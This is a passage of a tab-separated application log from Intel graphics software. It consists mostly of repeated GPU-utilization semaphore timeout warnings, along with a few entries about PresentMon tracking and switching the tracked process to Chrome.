09:02:12.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:12.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:12.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:13.476\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:13.803\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:14.019\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:14.242\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:14.461\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:14.676\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:14.895\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:15.114\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:15.322\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:15.532\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:15.866\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:16.074\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:16.301\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:16.519\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:16.842\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:17.057\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:17.271\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:17.487\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:17.705\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:17.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:18.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:18.361\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:18.575\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:18.790\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:19.124\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:19.343\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:19.556\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:19.891\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:20.109\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:20.321\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:20.539\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:20.756\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:21.634\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:21.852\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:22.061\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:22.395\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:22.612\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:22.836\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:23.045\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:23.257\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:23.475\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:23.694\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:24.240\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:24.450\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:24.887\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:25.104\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:25.425\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:25.644\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:25.860\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:26.084\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:26.294\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:26.507\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:26.724\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:27.051\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:27.377\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:27.593\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:27.811\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:28.029\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:28.678\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:29.011\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:29.225\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:29.440\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:29.657\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:29.860\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:30.408\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:30.735\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:30.952\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:31.153\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:31.362\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:31.580\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:31.909\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:32.123\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:32.439\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:32.652\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:32.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:33.073\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:33.283\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:33.500\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:33.717\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:33.930\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:34.365\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:34.582\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:34.807\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:35.136\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:35.353\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:35.794\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:36.014\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:36.231\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:36.439\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:36.770\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:36.979\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:37.198\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:37.420\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:37.752\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:38.072\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:38.281\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:38.498\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:38.709\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:39.034\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:39.251\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:39.464\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:39.674\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:39.682\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:56.202\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:56.205\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:56.532\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:56.747\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:56.965\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:57.181\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:57.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:57.594\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 